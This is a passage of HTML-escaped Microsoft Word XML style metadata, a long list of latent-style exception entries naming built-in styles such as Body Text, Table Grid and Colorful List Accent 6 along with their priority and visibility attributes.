  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;List Number 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;10&quot; QFormat=&quot;true&quot; Name=&quot;Title&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Closing&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Signature&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;1&quot; SemiHidden=&quot;true&quot;
   UnhideWhenUsed=&quot;true&quot; Name=&quot;Default Paragraph Font&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Body Text&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Body Text Indent&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;List Continue&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;List Continue 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;List Continue 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;List Continue 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;List Continue 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Message Header&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;11&quot; QFormat=&quot;true&quot; Name=&quot;Subtitle&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Salutation&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Date&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Body Text First Indent&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Body Text First Indent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Note Heading&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Body Text 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Body Text 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Body Text Indent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Body Text Indent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Block Text&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Hyperlink&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;FollowedHyperlink&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;22&quot; QFormat=&quot;true&quot; Name=&quot;Strong&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;20&quot; QFormat=&quot;true&quot; Name=&quot;Emphasis&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Document Map&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Plain Text&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;E-mail Signature&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;HTML Top of Form&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;HTML Bottom of Form&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Normal (Web)&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;HTML Acronym&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;HTML Address&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;HTML Cite&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;HTML Code&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;HTML Definition&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;HTML Keyboard&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;HTML Preformatted&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;HTML Sample&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;HTML Typewriter&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;HTML Variable&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Normal Table&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;annotation subject&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;No List&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Outline List 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Outline List 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Outline List 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Simple 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Simple 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Simple 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Classic 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Classic 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Classic 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Classic 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Colorful 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Colorful 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Colorful 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Columns 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Columns 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Columns 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Columns 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Columns 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Grid 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Grid 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Grid 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Grid 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Grid 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Grid 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Grid 7&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Grid 8&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table List 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table List 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table List 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table List 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table List 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table List 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table List 7&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table List 8&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table 3D effects 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table 3D effects 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table 3D effects 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Contemporary&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Elegant&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Professional&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Subtle 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Subtle 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Web 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Web 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Web 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Balloon Text&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;0&quot; Name=&quot;Table Grid&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; UnhideWhenUsed=&quot;true&quot;
   Name=&quot;Table Theme&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; Name=&quot;Placeholder Text&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;1&quot; QFormat=&quot;true&quot; Name=&quot;No Spacing&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; Name=&quot;Light Shading&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; Name=&quot;Light List&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; Name=&quot;Light Grid&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; Name=&quot;Medium Shading 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; Name=&quot;Medium Shading 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; Name=&quot;Medium List 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; Name=&quot;Medium List 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; Name=&quot;Medium Grid 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; Name=&quot;Medium Grid 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; Name=&quot;Medium Grid 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; Name=&quot;Dark List&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; Name=&quot;Colorful Shading&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; Name=&quot;Colorful List&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; Name=&quot;Colorful Grid&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; Name=&quot;Light Shading Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; Name=&quot;Light List Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; Name=&quot;Light Grid Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; Name=&quot;Medium Shading 1 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; Name=&quot;Medium Shading 2 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; Name=&quot;Medium List 1 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; SemiHidden=&quot;true&quot; Name=&quot;Revision&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;34&quot; QFormat=&quot;true&quot;
   Name=&quot;List Paragraph&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;29&quot; QFormat=&quot;true&quot; Name=&quot;Quote&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;30&quot; QFormat=&quot;true&quot;
   Name=&quot;Intense Quote&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; Name=&quot;Medium List 2 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; Name=&quot;Medium Grid 1 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; Name=&quot;Medium Grid 2 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; Name=&quot;Medium Grid 3 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; Name=&quot;Dark List Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; Name=&quot;Colorful Shading Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; Name=&quot;Colorful List Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; Name=&quot;Colorful Grid Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; Name=&quot;Light Shading Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; Name=&quot;Light List Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; Name=&quot;Light Grid Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; Name=&quot;Medium Shading 1 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; Name=&quot;Medium Shading 2 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; Name=&quot;Medium List 1 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; Name=&quot;Medium List 2 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; Name=&quot;Medium Grid 1 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; Name=&quot;Medium Grid 2 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; Name=&quot;Medium Grid 3 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; Name=&quot;Dark List Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; Name=&quot;Colorful Shading Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; Name=&quot;Colorful List Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; Name=&quot;Colorful Grid Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; Name=&quot;Light Shading Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; Name=&quot;Light List Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; Name=&quot;Light Grid Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; Name=&quot;Medium Shading 1 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; Name=&quot;Medium Shading 2 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; Name=&quot;Medium List 1 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; Name=&quot;Medium List 2 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; Name=&quot;Medium Grid 1 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; Name=&quot;Medium Grid 2 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; Name=&quot;Medium Grid 3 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; Name=&quot;Dark List Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; Name=&quot;Colorful Shading Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; Name=&quot;Colorful List Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; Name=&quot;Colorful Grid Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; Name=&quot;Light Shading Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; Name=&quot;Light List Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; Name=&quot;Light Grid Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; Name=&quot;Medium Shading 1 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; Name=&quot;Medium Shading 2 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; Name=&quot;Medium List 1 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; Name=&quot;Medium List 2 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; Name=&quot;Medium Grid 1 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; Name=&quot;Medium Grid 2 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; Name=&quot;Medium Grid 3 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; Name=&quot;Dark List Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; Name=&quot;Colorful Shading Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; Name=&quot;Colorful List Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; Name=&quot;Colorful Grid Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; Name=&quot;Light Shading Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; Name=&quot;Light List Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; Name=&quot;Light Grid Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; Name=&quot;Medium Shading 1 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; Name=&quot;Medium Shading 2 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; Name=&quot;Medium List 1 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; Name=&quot;Medium List 2 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; Name=&quot;Medium Grid 1 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; Name=&quot;Medium Grid 2 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; Name=&quot;Medium Grid 3 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; Name=&quot;Dark List Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; Name=&quot;Colorful Shading Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; Name=&quot;Colorful List Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; Name=&quot;Colorful Grid Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; Name=&quot;Light Shading Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; Name=&quot;Light List Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; Name=&quot;Light Grid Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; Name=&quot;Medium Shading 1 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; Name=&quot;Medium Shading 2 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; Name=&quot;Medium List 1 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; Name=&quot;Medium List 2 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; Name=&quot;Medium Grid 1 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; Name=&quot;Medium Grid 2 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; Name=&quot;Medium Grid 3 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; Name=&quot;Dark List Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; Name=&quot;Colorful Shading Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; Name=&quot;Colorful List Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; Name=&quot;Colorful Grid Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;19&quot; QFormat=&quot;true&quot;
   Name=&quot;Subtle Emphasis&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;21&quot; QFormat=&quot;true&quot;
   Name=&quot;Intense Emphasis&quot;/&gt;
